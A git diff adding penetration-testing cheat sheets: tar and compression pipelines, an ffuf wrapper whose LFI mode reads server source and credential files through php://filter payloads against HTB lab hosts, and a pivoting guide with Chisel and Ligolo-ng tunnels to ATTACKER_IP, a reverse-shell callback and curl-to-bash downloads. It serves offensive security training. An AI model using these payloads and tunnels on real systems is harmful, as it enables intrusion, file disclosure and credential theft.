archive.tar.zst.age.part-* | age -d -i key.txt | zstd -d | tar xf - + +# ── With OpenSSL ── +tar cf - /path/to/dir \\ + | xz -9e -T0 \\ + | openssl enc -aes-256-cbc -salt -pbkdf2 \\ + | split -b 500M -d -a 3 - archive.tar.xz.enc.part- + +cat archive.tar.xz.enc.part-* \\ + | openssl enc -d -aes-256-cbc -pbkdf2 \\ + | xz -d \\ + | tar xf - +``` + +--- + +### Compress + Split + Checksum (Integrity Verification) + +Generate checksums for each split part so you can verify after transfer. + +```bash +# Create, compress, split, then checksum +tar cf - /path/to/dir | zstd -19 -T0 | split -b 500M -d -a 3 - archive.tar.zst.part- +sha256sum archive.tar.zst.part-* > archive.tar.zst.sha256 + +# After transfer, verify +sha256sum -c archive.tar.zst.sha256 + +# Or inline: tee into sha256sum while splitting +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | tee >(sha256sum > archive-whole.sha256) \\ + | split -b 500M -d -a 3 - archive.tar.zst.part- +``` + +--- + +### Compress + Encrypt + Split + Checksum (Full Paranoia Pipeline) + +```bash +# ── CREATE ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | gpg -c --cipher-algo AES256 \\ + | split -b 500M -d -a 3 - archive.tar.zst.gpg.part- + +# Checksum all parts +sha256sum archive.tar.zst.gpg.part-* > checksums.sha256 + +# ── VERIFY + RESTORE ── +sha256sum -c checksums.sha256 && \\ +cat archive.tar.zst.gpg.part-* | gpg -d | zstd -d | tar xf - -C /restore/ +``` + +--- + +### Compress + Progress Bar + Split + +Use `pv` (pipe viewer) to monitor progress at any stage of the pipeline. + +```bash +# Show progress while compressing and splitting +tar cf - /path/to/dir \\ + | pv -s $(du -sb /path/to/dir | cut -f1) -N "tar" \\ + | zstd -19 -T0 \\ + | pv -N "zstd" \\ + | split -b 500M -d -a 3 - archive.tar.zst.part- + +# Show progress while reassembling and extracting +cat archive.tar.zst.part-* \\ + | pv -N "reassemble" \\ + | zstd -d \\ + | tar xf - -C /restore/ + +# Progress bar with encryption +tar cf - /path/to/dir \\ + | pv -s $(du -sb /path/to/dir | cut -f1) \\ + | zstd -19 -T0 \\ + | gpg -c --cipher-algo AES256 \\ + > archive.tar.zst.gpg + +# pv -W (wait) is useful when piping into gpg since gpg prompts for a +# passphrase before processing — -W delays the progress bar until data flows +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | pv -W \\ + | gpg -c --cipher-algo AES256 \\ + > archive.tar.zst.gpg +``` + +--- + +### Compress + Network Transfer (SSH) + +Stream directly to a remote host — nothing touches local disk except the source. + +```bash +# ── Push: local → remote (zstd, multi-threaded) ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | ssh user@remote 'zstd -d | tar xf - -C /opt/deploy/' + +# ── Push: local → remote (save as file on remote) ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | ssh user@remote 'cat > /backup/archive.tar.zst' + +# ── Pull: remote → local ── +ssh user@remote 'tar cf - /remote/dir | zstd -T0' \\ + | zstd -d \\ + | tar xf - -C /local/restore/ + +# ── Push with progress ── +tar cf - /path/to/dir \\ + | pv -s $(du -sb /path/to/dir | cut -f1) \\ + | zstd -T0 \\ + | ssh user@remote 'zstd -d | tar xf - -C /opt/deploy/' + +# ── Clone directory between hosts (one-liner) ── +ssh user@source 'tar cf - /data | zstd -T0' \\ + | ssh user@dest 'zstd -d | tar xf - -C /' +``` + +--- + +### Compress + Network Transfer (Netcat — No SSH Overhead) + +Fastest possible transfer on a trusted LAN. No encryption, no SSH overhead. + +```bash +# ── Receiver (start first) ── +nc -l -p 9000 | zstd -d | tar xf - -C /restore/ + +# ── Sender ── +tar cf - /path/to/dir | zstd -T0 | nc receiver-host 9000 + +# ── With progress on sender side ── +tar cf - /path/to/dir \\ + | pv -s $(du -sb /path/to/dir | cut -f1) \\ + | zstd -T0 \\ + | nc receiver-host 9000 + +# ── With inline checksum verification ── +# Sender (prints md5 to stderr after transfer) +tar cf - /path/to/dir | zstd -T0 | tee >(md5sum >&2) | nc receiver-host 9000 + +# Receiver (prints md5 to stderr after receiving) +nc -l -p 9000 | tee >(md5sum >&2) | zstd -d | tar xf - -C /restore/ +# Compare the two md5 hashes — they should match +``` + +--- + +### Compress + Encrypt + Network Transfer + +```bash +# ── Push encrypted archive over SSH ── +tar cf - /path/to/dir \\ + | zstd -19 -T0 \\ + | gpg -c --cipher-algo AES256 \\ + | ssh user@remote 'cat > /backup/archive.tar.zst.gpg' + +# ── Pull, decrypt, extract in one shot ── +ssh user@remote 'cat /backup/archive.tar.zst.gpg' \\ + | gpg -d \\ + | zstd -d \\ + | tar xf - -C /local/restore/ + +# ── Netcat + encryption (for untrusted networks without SSH) ── +# Receiver: +nc -l -p 9000 | gpg -d | zstd -d | tar xf - -C /restore/ + +# Sender: +tar cf - /path/to/dir | zstd -T0 | gpg -c --cipher-algo AES256 | nc receiver-host 9000 +``` + +--- + +### Incremental Backup + Compress + Encrypt + Split + +Full automated backup pipeline with incrementals. + +```bash +SNAP="/backup/snapshot.snar" +DATE=$(date +%F) + +# ── Full backup (first run or when snapshot is deleted) ── +tar -g "$SNAP" -cf - /home/user \\ + | zstd -19 -T0 \\ + | gpg -c --cipher-algo AES256 \\ + | split -b 1G -d -a 3 - "/backup/full-${DATE}.tar.zst.gpg.part-" +sha256sum /backup/full-${DATE}.tar.zst.gpg.part-* > "/backup/full-${DATE}.sha256" + +# ── Incremental backup (subsequent runs) ── +tar -g "$SNAP" -cf - /home/user \\ + | zstd -12 -T0 \\ + | gpg -c --cipher-algo AES256 \\ + > "/backup/inc-${DATE}.tar.zst.gpg" +sha256sum "/backup/inc-${DATE}.tar.zst.gpg" >> "/backup/inc-${DATE}.sha256" + +# ── Restore: full first, then each incremental in order ── +sha256sum -c /backup/full-2026-03-01.sha256 && \\ +cat /backup/full-2026-03-01.tar.zst.gpg.part-* \\ + | gpg -d | zstd -d | tar xf - -g /dev/null -C /restore/ + +gpg -d /backup/inc-2026-03-02.tar.zst.gpg \\ + | zstd -d | tar xf - -g /dev/null -C /restore/ +``` + +--- + +### Exclude + Find + Compress + Encrypt (Surgical Archives) + +```bash +# Archive only files modified in last 7 days, compress with zstd, encrypt with age +find /project -mtime -7 -type f -print0 \\ + | tar cf - --null -T - \\ + | zstd -19 -T0 \\ + | age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p \\ + > recent-changes.tar.zst.age + +# Archive specific file types, exclude build artifacts, compress + split +find /project \begin{raycast-math} -name '*.py' -o -name '*.rs' -o -name '*.toml' \end{raycast-math} -print0 \\ + | tar cf - --null -T - \\ + --exclude='target' \\ + --exclude='__pycache__' \\ + | zstd -19 -T0 \\ + | split -b 100M -d -a 3 - source-code.tar.zst.part- +``` + +--- + +### Extract to Pipe (Process Each File) + +Use `--to-command` to pipe each extracted file into a program instead of writing to disk. + +```bash +# Pipe every extracted file through a processor (e.g. wc -l to count lines) +tar xf archive.tar.gz --to-command='wc -l' + +# The filename is available inside --to-command as $TAR_FILENAME +tar xf archive.tar.gz --to-command='echo "Processing: $TAR_FILENAME"' + +# Extract and pipe each file into a script +tar xf archive.tar.gz --to-command='/path/to/your/script.sh' +``` + +--- + +### Copy Directory Trees (Local Cloning) + +The fastest way to copy a directory preserving all metadata — faster than `cp -a` or `rsync` for local copies. + +```bash +# Clone a directory tree preserving permissions, ownership, timestamps +tar cf - -C /source/dir . | tar xpf - -C /dest/dir + +# Same but with progress +tar cf - -C /source/dir . \\ + | pv -s $(du -sb /source/dir | cut -f1) \\ + | tar xpf - -C /dest/dir + +# Clone with full metadata preservation +tar cf - --acls --xattrs --selinux -C /source/dir . \\ + | tar xpf - --acls --xattrs --selinux -C /dest/dir +``` + +--- + +### Quick Reference: Pipeline Order + +When combining operations, follow this order: + +``` +CREATE → COMPRESS → ENCRYPT → SPLIT → CHECKSUM → TRANSFER +tar → zstd/xz → gpg/age → split → sha256 → ssh/nc +``` + +And to reverse: + +``` +REASSEMBLE → VERIFY → DECRYPT → DECOMPRESS → EXTRACT +cat → sha256sum → gpg/age → zstd/xz → tar +``` + +> **Key principle:** Every tool in the chain reads from stdin and writes to stdout. The pipe (`|`) connects them. Use `-f -` to tell tar to read/write stdin/stdout instead of a file. + +--- + +### Encryption Tool Comparison for Pipelines + +| Tool | Type | Pipe-friendly | Key Management | Notes | +|------|------|:---:|---|---| +| `gpg -c` | Symmetric (passphrase) | ✅ | None needed | Universal, prompts for passphrase | +| `gpg -e -r` | Asymmetric (public key) | ✅ | Keyring required | Standard for sharing with others | +| `age -p` | Symmetric (passphrase) | ✅ | None needed | Modern, simple, no config | +| `age -r` | Asymmetric (public key) | ✅ | Single key file | No keyring, just a file | +| `openssl enc` | Symmetric (passphrase) | ✅ | None needed | Always available, more flags | + +Install `age`: `brew install age` / `sudo apt install age` / `sudo pacman -S age` diff --git a/src/content/sheets/tools/username-anarchy.md b/src/content/sheets/tools/username-anarchy.md @@ -0,0 +1,11 @@ +--- +title: "Username Anarchy" +description: "Username Anarchy — operator reference." +category: tools +tags: ["tools"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/Username Anarchy.md" +--- + diff --git a/src/content/sheets/tools/webfuzz.md b/src/content/sheets/tools/webfuzz.md @@ -0,0 +1,266 @@ +--- +title: "webfuzz" +description: "brew install ffuf" +category: tools +tags: ["tools"] +tools: ["ffuf", "Gobuster"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/webfuzz.md" +--- +# Requirements: ffuf, python3, curl (all present on the working box). SecLists optional. +brew install ffuf + +# System-wide, no sudo (already done, and ~/.local/bin is first on PATH) +ln -sf "/Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/webfuzz.py" ~/.local/bin/webfuzz + +# System-wide in /usr/local/bin (needs sudo, that dir is root-owned) +sudo ln -sf "/Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/webfuzz.py" /usr/local/bin/webfuzz + +# Point at a real SecLists install for full-size wordlists (add to ~/.zshrc) +export WEBFUZZ_SECLISTS="$HOME/tools/SecLists" + +webfuzz -h # sanity check +``` + +> [!warning]+ Vault-mounted caveat +> `ris:Radar` +> 1. The tool lives on the Cryptomator vault, so the symlink only resolves while that vault is **mounted**. +> 2. To use it even when the vault is locked, copy the `webfuzz/` folder to somewhere permanent (e.g. `~/tools/webfuzz`) and repoint the symlink there. +> 3. *The script resolves its own real path, so a symlink still finds its bundled wordlists.* + +--- + +## Modes overview `ris:Command` + +| Mode | Fuzzes | Minimal command | +|---|---|---| +| `dir` | directories `URL/FUZZ` | `webfuzz dir -u http://t/` | +| `page` | page names `URL/FUZZ.php` | `webfuzz page -u http://t/blog/` | +| `ext` | extensions `URLFUZZ` | `webfuzz ext -u http://t/blog/index` | +| `recurse` | dirs recursively (+`.php`, `-v`) | `webfuzz recurse -u http://t/` | +| `dns` | public sub-domains `FUZZ.domain` | `webfuzz dns -d inlanefreight.com --scheme https` | +| `vhost` | `Host: FUZZ.domain` (auto `-fs`) | `webfuzz vhost -u http://IP/ -d domain` | +| `getparam` | GET param names `?FUZZ=key` | `webfuzz getparam -u http://t/a.php` | +| `postparam` | POST param names `-d FUZZ=key` | `webfuzz postparam -u http://t/a.php` | +| `value` | a param's value `id=FUZZ` | `webfuzz value -u http://t/a.php -p id --range 1-1000` | +| `lfi` | filenames via `php://filter` + decode | `webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/html/` | + +--- + +## Content discovery `ris:ShareBox` + +```bash +# Directories: URL/FUZZ +webfuzz dir -u http://10.10.10.10/ + +# Page names under a directory: /blog/FUZZ.php (change ext with --ext) +webfuzz page -u http://10.10.10.10/blog/ --ext php + +# Extensions on a known file: /blog/indexFUZZ +webfuzz ext -u http://10.10.10.10/blog/index + +# Recursive dirs, auto-adds -e .php and -v so you see which file is where +webfuzz recurse -u http://10.10.10.10/ --depth 1 + +# Add extensions / recursion to any dir run yourself +webfuzz dir -u http://10.10.10.10/ -e .php,.txt,.html -R --depth 2 +``` + +> [!info]+ ffuf equivalent +> `ris:Command` +> `webfuzz dir -u http://t/` becomes +> `ffuf -w <list>:FUZZ -u http://t/FUZZ -ic -c` (plus an auto `-fs` only if the server soft-404s). + +--- + +## Sub-domains and VHosts `ris:GlobalLine` + +```bash +# Public sub-domains via real DNS (note: public academy example uses https) +webfuzz dns -d inlanefreight.com --scheme https + +# VHosts on one IP via Host-header fuzzing — auto-calibrates -fs for you +webfuzz vhost -u http://10.129.203.101/ -d inlanefreight.local + +# Your original manual command, one-lined and auto-filtered: +webfuzz vhost -u http://10.129.203.101/ -d inlanefreight.local -w namelist.txt +``` + +> [!example]+ What the vhost auto-`-fs` replaces +> `ris:Scan2` +> The raw command you used to type: +> ```bash +> ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ -H 'Host:FUZZ.inlanefreight.local' -fs 15157 +> ``` +> With webfuzz, the `-fs 15157` is discovered automatically by probing a couple of random `*.inlanefreight.local` hosts. Pass `--fs 15157` yourself to skip calibration, or `--no-auto` to disable it. + +--- + +## Parameter and value fuzzing `ris:LockPassword` + +```bash +# GET parameter NAME: /admin/admin.php?FUZZ=key +webfuzz getparam -u http://admin.academy.htb:PORT/admin/admin.php + +# POST parameter NAME: -d 'FUZZ=key' with urlencoded content-type +webfuzz postparam -u http://admin.academy.htb:PORT/admin/admin.php + +# VALUE of a known parameter, numeric range wordlist generated on the fly +webfuzz value -u http://admin.academy.htb:PORT/admin/admin.php -p id --range 1-1000 + +# VALUE fuzzing over GET instead of POST, with a custom wordlist +webfuzz value -u http://t/a.php -p user --method GET -w /path/users.txt +``` + +> [!info]+ Command Breakdown +> `ris:FileList` +> 1. **`--value`** (getparam/postparam) sets the placeholder value sent with each fuzzed name; default is `key`. +> 2. **`-p / --param`** (value mode) is the fixed parameter name whose value you are brute-forcing. +> 3. **`--range A-B`** writes a numeric wordlist `A..B` to `webfuzz-out/` and uses it — the classic `for i in $(seq 1 1000)` trick, built in. +> 4. All three auto-calibrate `-fs` from a random-parameter/value baseline, so the default "invalid" response is filtered automatically. + +--- + +## PHP-filter base64 LFI (the Dante trick) `ris:KnifeBlood` + +```bash +# One command: wrap, match PHP source, then auto curl + base64 -d every hit +webfuzz lfi -u 'http://172.16.1.10/nav.php?page=FUZZ' --resource /var/www/html/wordpress/ +``` + +> [!success]+ What this automates +> `ris:Key` +> 1. Rewrites `FUZZ` into `php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/FUZZ`. +> 2. Adds `-mc all -mr PD9waH -fs 0` — `PD9waH` is base64 for `<?ph`, so only **real PHP source** matches and empty responses are dropped. +> 3. For every hit it `curl`s the URL, base64-decodes it, and saves the source to `webfuzz-out/decoded/`. +> 4. Scans the decoded files and prints any **URLs** and **DB creds / secrets** — i.e. the URL you are hunting for pops out on its own. + +> [!example]+ The raw commands it replaces (straight from the Dante notes) +> `ris:Command` +> ```bash +> ffuf -w raft-medium-files.txt:FUZZ \ +> -u "http://172.16.1.10/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/FUZZ" \ +> -mr "PD9waH" -fs 0 +> curl -s "http://172.16.1.10/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/wp-config.php" | base64 -d +> ``` + +```bash +# Already wrote the full php://filter payload yourself? Skip the wrapping: +webfuzz lfi -u 'http://t/nav.php?page=php://filter/read=convert.base64-encode/resource=/etc/passwdFUZZ' --no-wrap + +# Read non-PHP files too (drops the PHP-only matcher, keeps -fs 0) +webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /etc/ --all + +# Use the rot13 filter instead of base64 +webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/ --conv rot13 + +# Find the files but decode them yourself later +webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/ --no-decode +``` + +--- + +## Common flags `fas:Screwdriver` + +| Flag | Meaning | +|---|---| +| `--dry-run` | print the ffuf command, do not run it | +| `-w LIST` | wordlist: path, bundled name, or SecLists basename | +| `-t 200` | threads (default 40) · `--rate N` cap requests/sec | +| `-H 'X: Y'` | extra header (repeatable) · `-b 'a=b'` cookie · `-x URL` proxy | +| `-k` | ignore TLS cert errors (lab self-signed) | +| `-r` | follow redirects · `-e .php,.html` extensions | +| `-R --depth N` | recursion + depth | +| `--scheme https` | scheme when built from a domain · `--port N` inject a port | +| `--fs/--fc/--fw/--fl` `--mc/--mr/--ms/--mw/--ml` | pass any ffuf matcher/filter through (also disables auto `-fs`) | +| `--no-auto` | turn off webfuzz's automatic `-fs` calibration | +| `-A / --ac` | use ffuf's native `-ac` instead of webfuzz's baseline | +| `-o FILE` `--outdir DIR` | JSON output path / loot dir (default `./webfuzz-out`) | +| `-v` | verbose (full URLs) · `--no-color` plain output | + +> [!info]+ Output +> `ris:FileList` +> 1. Live ffuf output plus a clean hit summary. +> 2. Machine-readable results at `webfuzz-out/<mode>-<timestamp>.json`. +> 3. LFI loot (decoded source) at `webfuzz-out/decoded/`. + +--- + +## HTB module walkthrough, in order `fas:ClipboardList` + +```bash +# 1. directories, recursively, with .php in one shot +webfuzz recurse -u http://SERVER_IP:PORT/ + +# 2. which extension does /blog use? +webfuzz ext -u http://SERVER_IP:PORT/blog/index + +# 3. pages under /blog +webfuzz page -u http://SERVER_IP:PORT/blog/ --ext php + +# 4. public sub-domains +webfuzz dns -d inlanefreight.com --scheme https + +# 5. non-public vhosts on the same IP (auto -fs), then add admin.academy.htb to /etc/hosts +webfuzz vhost -u http://academy.htb:PORT/ -d academy.htb + +# 6. find a working parameter (POST) +webfuzz postparam -u http://admin.academy.htb:PORT/admin/admin.php + +# 7. brute the value of that parameter +webfuzz value -u http://admin.academy.htb:PORT/admin/admin.php -p id --range 1-1000 +``` + +--- + +## Try it offline (no target) `ris:Global` + +```bash +cd /Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/.selftest +python3 server.py 8099 & +webfuzz vhost -u http://127.0.0.1:8099/ -d inlanefreight.local # finds admin +webfuzz value -u http://127.0.0.1:8099/admin/admin.php -p id --range 1-100 # finds 42 +webfuzz lfi -u 'http://127.0.0.1:8099/nav.php?page=FUZZ' --resource /var/www/html/wordpress/ +kill %1 +``` + +--- + +## Troubleshooting `fas:CircleXmark` + +| Symptom | Cause | Fix | +|---|---|---| +| `wordlist not found: namelist.txt` | not in the current directory | `cd` to where the list is, or pass a full path to `-w` | +| Flooded with 200s in `vhost` | server returns the same page for every host and calibration missed it | pass `--fs <size>` manually, or use `-A` | +| Real dirs missing in `dir` | over-filtering on a soft-404 server | check the "auto-filtering with -fs" line; rerun with `--no-auto` or a manual `--fc` | +| `lfi` finds nothing | wrong `--resource` base path, or files are not PHP | verify the path, try `--all`, or a bigger `-w` list | +| `SecLists not found` warning | not installed / not discovered | set `WEBFUZZ_SECLISTS`, or ignore it and use the bundled lists | +| TLS errors on https lab box | self-signed cert | add `-k` | +| `webfuzz: command not found` | vault unmounted or symlink missing | remount the vault, or recreate the `~/.local/bin/webfuzz` symlink | + +--- + +## Lessons Learned `fas:Lightbulb` + +1. **`--dry-run` first when unsure.** It shows the exact ffuf line, which is both a learning aid and the thing you paste into a report. +2. **Let it calibrate `-fs`.** The auto-filter only triggers on catch-all servers, so leaving it on costs three requests and saves the manual size-hunting that made ffuf annoying. +3. **`vhost` needs a size filter, `dir` usually does not.** Wrong vhosts return the default site (a real 200), so size is the only discriminator; normal dir fuzzing already filters on the 404 status. +4. **`lfi` is the payoff.** The `php://filter` + `PD9waH` + auto base64-decode chain reads server-side source and surfaces the hidden URL/creds without a single manual `curl | base64 -d`. +5. **Anything after the known flags is raw ffuf.** When you need a knob the wrapper does not expose, just append it. + +--- + +## References `fas:BookOpen` + +1. [ffuf on GitHub](https://github.com/ffuf/ffuf) +2. [ffuf wiki](https://github.com/ffuf/ffuf/wiki) +3. [SecLists](https://github.com/danielmiessler/SecLists) +4. [PayloadsAllTheThings — File Inclusion / LFI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) +5. [PHP php://filter wrapper](https://www.php.net/manual/en/wrappers.php.php) +6. HTB Academy — *Attacking Web Applications with Ffuf* +7. Related: ffuf_cheat_sheet · gobuster · LFI - Cheat Sheet + +--- + +#Tools #webfuzz #ffuf #WebFuzzing #Enumeration #LFI #VHost #Cheatsheet diff --git a/src/content/sheets/tunneling-pivoting/pivoting-and-tunnelling.md b/src/content/sheets/tunneling-pivoting/pivoting-and-tunnelling.md @@ -0,0 +1,784 @@ +--- +title: "Pivoting and Tunnelling" +description: "Expose a remote service on your local machine." +category: tunneling-pivoting +tags: ["tunneling-pivoting", "sql-injection", "pivoting", "tunneling"] +tools: ["Nmap", "Metasploit", "Meterpreter", "Evil-WinRM", "Chisel"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Misc/Pivoting and Tunnelling .md" +--- +# Pivoting & Port Forwarding Cheat Sheet +## Practical Command Reference + +--- + +## SSH Tunnelling + +### Local Port Forwarding (-L) +Expose a remote service on your local machine. + +```bash +# Syntax: ssh -L [local_addr:]local_port:dest_host:dest_port user@ssh_server + +# Forward local port 8080 to internal web server 10.10.10.50:80 via jump host +ssh -L 8080:10.10.10.50:80 user@jump.example.com + +# Bind only to localhost (more secure) +ssh -L 127.0.0.1:8080:10.10.10.50:80 user@jump.example.com + +# Forward local 3306 to remote MySQL that only listens on localhost +ssh -L 3306:127.0.0.1:3306 user@dbserver.example.com + +# Multiple forwards in one connection +ssh -L 8080:10.10.10.50:80 -L 3306:10.10.10.51:3306 user@jump.example.com +``` + +### Remote Port Forwarding (-R) +Expose a local service to the remote network. + +```bash +# Syntax: ssh -R [remote_addr:]remote_port:dest_host:dest_port user@ssh_server + +# Expose local port 80 on remote server's port 8080 +ssh -R 8080:127.0.0.1:80 user@remote.example.com + +# Expose local service to all interfaces on remote (requires GatewayPorts yes) +ssh -R 0.0.0.0:8080:127.0.0.1:80 user@remote.example.com + +# Reverse shell callback - expose attacker's listener +ssh -R 4444:127.0.0.1:4444 user@compromised.example.com +``` + +### Dynamic Port Forwarding (-D) - SOCKS Proxy +Create a SOCKS proxy to access the remote network. + +```bash +# Syntax: ssh -D [local_addr:]local_port user@ssh_server + +# Create SOCKS5 proxy on port 1080 +ssh -D 1080 user@jump.example.com + +# Bind to localhost only +ssh -D 127.0.0.1:9050 user@jump.example.com + +# Use with proxychains (edit /etc/proxychains4.conf first) +# Add: socks5 127.0.0.1 1080 +proxychains4 nmap -sT -Pn 10.10.10.0/24 +proxychains4 curl http://10.10.10.50 + +# Use with curl directly +curl --proxy socks5h://127.0.0.1:1080 http://10.10.10.50 + +# Use with Firefox: Settings > Network > SOCKS5 > 127.0.0.1:1080 +``` + +### Jump Hosts / ProxyJump (-J) +Chain through multiple hosts (OpenSSH 7.3+). + +```bash +# Syntax: ssh -J user@jump1,user@jump2 user@destination + +# Single jump +ssh -J user@bastion.example.com user@internal.server + +# Multiple jumps +ssh -J user@jump1:22,user@jump2:22 user@final-target + +# With port forwarding through jump +ssh -J user@bastion -L 8080:10.10.10.50:80 user@internal + +# In ~/.ssh/config +Host internal + HostName 10.10.10.50 + User admin + ProxyJump user@bastion.example.com +``` + +### Useful SSH Options + +```bash +# Background and don't execute remote command +ssh -fN -L 8080:10.10.10.50:80 user@jump + +# Compression (helps on slow links) +ssh -C -D 1080 user@jump + +# Keep connection alive +ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 -D 1080 user@jump + +# Disable strict host key checking (lab use only!) +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@host + +# Use specific key +ssh -i ~/.ssh/id_rsa_jump -D 1080 user@jump + +# Verbose debugging +ssh -v -D 1080 user@jump # -vv or -vvv for more +``` + +### ~/.ssh/config Example + +``` +Host bastion + HostName bastion.example.com + User jumpuser + IdentityFile ~/.ssh/bastion_key + DynamicForward 1080 + LocalForward 8443 internal-web:443 + ServerAliveInterval 60 + +Host internal-* + ProxyJump bastion + User admin + +Host internal-db + HostName 10.10.10.51 + LocalForward 3306 127.0.0.1:3306 +``` + +--- + +## Chisel + +### Installation + +```bash +# Download latest release +curl https://i.jpillora.com/chisel! | bash + +# Or from GitHub releases +wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz +gunzip chisel_1.9.1_linux_amd64.gz +chmod +x chisel_1.9.1_linux_amd64 +mv chisel_1.9.1_linux_amd64 chisel + +# Windows +certutil -urlcache -split -f https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz chisel.gz +``` + +### Server Mode (Attacker Machine) + +```bash +# Basic server on port 8080 +./chisel server -p 8080 + +# With reverse tunnel support (required for R: prefixed remotes) +./chisel server -p 8080 --reverse + +# With SOCKS5 support +./chisel server -p 8080 --socks5 + +# With both +./chisel server -p 8080 --reverse --socks5 + +# With authentication +./chisel server -p 8080 --reverse --auth user:password + +# With TLS (auto Let's Encrypt) +./chisel server -p 443 --reverse --tls-domain example.com + +# With TLS (custom certs) +./chisel server -p 8443 --reverse --tls-key server.key --tls-cert server.crt + +# Generate and use persistent key +./chisel server --keygen /tmp/chisel.key +./chisel server -p 8080 --reverse --keyfile /tmp/chisel.key +``` + +### Client Mode (Target/Pivot Machine) + +```bash +# Connect and forward local port 8080 to server's localhost:80 +./chisel client ATTACKER_IP:8080 8080:127.0.0.1:80 + +# Forward local 3000 to remote service at 10.10.10.50:3000 +./chisel client ATTACKER_IP:8080 3000:10.10.10.50:3000 + +# SOCKS proxy (server needs --socks5) +./chisel client ATTACKER_IP:8080 socks +# Creates SOCKS5 on client localhost:1080 + +# Custom SOCKS port +./chisel client ATTACKER_IP:8080 5000:socks + +# REVERSE tunnel - open port on SERVER that forwards to target network +./chisel client ATTACKER_IP:8080 R:8001:10.10.10.50:80 +# Now attacker can access 10.10.10.50:80 via localhost:8001 + +# REVERSE SOCKS - SOCKS proxy on attacker, exits on target network +./chisel client ATTACKER_IP:8080 R:socks +# SOCKS5 on attacker localhost:1080, traffic exits via target + +# Reverse SOCKS on custom port +./chisel client ATTACKER_IP:8080 R:1080:socks + +# Multiple tunnels +./chisel client ATTACKER_IP:8080 R:8001:10.10.10.50:80 R:8002:10.10.10.51:22 R:socks + +# With authentication +./chisel client --auth user:password ATTACKER_IP:8080 R:socks + +# With fingerprint verification (get fingerprint from server output) +./chisel client --fingerprint XXXXX ATTACKER_IP:8080 R:socks + +# Through a proxy +./chisel client --proxy http://proxy:3128 ATTACKER_IP:8080 R:socks +./chisel client --proxy socks://proxy:1080 ATTACKER_IP:8080 R:socks + +# Verbose output +./chisel client -v ATTACKER_IP:8080 R:socks +``` + +### Common Chisel Patterns + +```bash +# PATTERN 1: Reverse SOCKS (most common for pivoting) +# Attacker: +./chisel server -p 8080 --reverse +# Target: +./chisel client ATTACKER:8080 R:socks +# Use: proxychains nmap -sT -Pn 10.10.10.0/24 + +# PATTERN 2: Access internal web server +# Attacker: +./chisel server -p 8080 --reverse +# Target: +./chisel client ATTACKER:8080 R:8001:192.168.1.100:80 +# Access: curl http://127.0.0.1:8001 + +# PATTERN 3: Forward SOCKS (client-side proxy) +# Attacker: +./chisel server -p 8080 --socks5 +# Target: +./chisel client ATTACKER:8080 1080:socks +# Configure browser/tools on TARGET to use localhost:1080 + +# PATTERN 4: Expose target's SSH +# Attacker: +./chisel server -p 8080 --reverse +# Target: +./chisel client ATTACKER:8080 R:2222:127.0.0.1:22 +# Attacker: ssh user@127.0.0.1 -p 2222 +``` + +--- + +## Ligolo-ng + +### Installation + +```bash +# Download proxy (attacker) and agent (target) +# From: https://github.com/nicocha30/ligolo-ng/releases + +# Attacker (Linux) +wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_proxy_0.6.2_linux_amd64.tar.gz +tar -xzf ligolo-ng_proxy_0.6.2_linux_amd64.tar.gz + +# Agent (Linux target) +wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_agent_0.6.2_linux_amd64.tar.gz +tar -xzf ligolo-ng_agent_0.6.2_linux_amd64.tar.gz + +# Agent (Windows target) +# Download: ligolo-ng_agent_0.6.2_windows_amd64.zip +``` + +### Proxy Setup (Attacker Machine) + +```bash +# Create TUN interface (required, needs root/sudo) +sudo ip tuntap add user $(whoami) mode tun ligolo +sudo ip link set ligolo up + +# For multiple tunnels, create additional interfaces +sudo ip tuntap add user $(whoami) mode tun ligolo2 +sudo ip link set ligolo2 up + +# Start proxy with self-signed cert +./proxy -selfcert + +# Start proxy with Let's Encrypt (requires port 443) +./proxy -autocert + +# Custom port +./proxy -selfcert -laddr 0.0.0.0:443 + +# With specific interface binding +./proxy -selfcert -laddr 10.10.14.5:11601 +``` + +### Agent Setup (Target Machine) + +```bash +# Linux - connect to proxy +./agent -connect ATTACKER_IP:11601 -ignore-cert + +# Windows +agent.exe -connect ATTACKER_IP:11601 -ignore-cert + +# Through SOCKS proxy +./agent -connect ATTACKER_IP:11601 -ignore-cert --socks 127.0.0.1:1080 + +# With retry +./agent -connect ATTACKER_IP:11601 -ignore-cert -retry +``` + +### Proxy Commands (Interactive Console) + +```bash +# List connected agents +ligolo-ng » session + +# Select an agent (by ID number) +ligolo-ng » session +? Specify a session: 1 - user@target - 192.168.1.50:54321 + +# Show agent network interfaces +[Agent: user@target] » ifconfig + +# Start the tunnel on default interface +[Agent: user@target] » start + +# Start tunnel on specific interface (for multiple tunnels) +[Agent: user@target] » start --tun ligolo2 + +# Stop tunnel +[Agent: user@target] » stop + +# Add listener (port forward from agent network) +[Agent: user@target] » listener_add --addr 0.0.0.0:1234 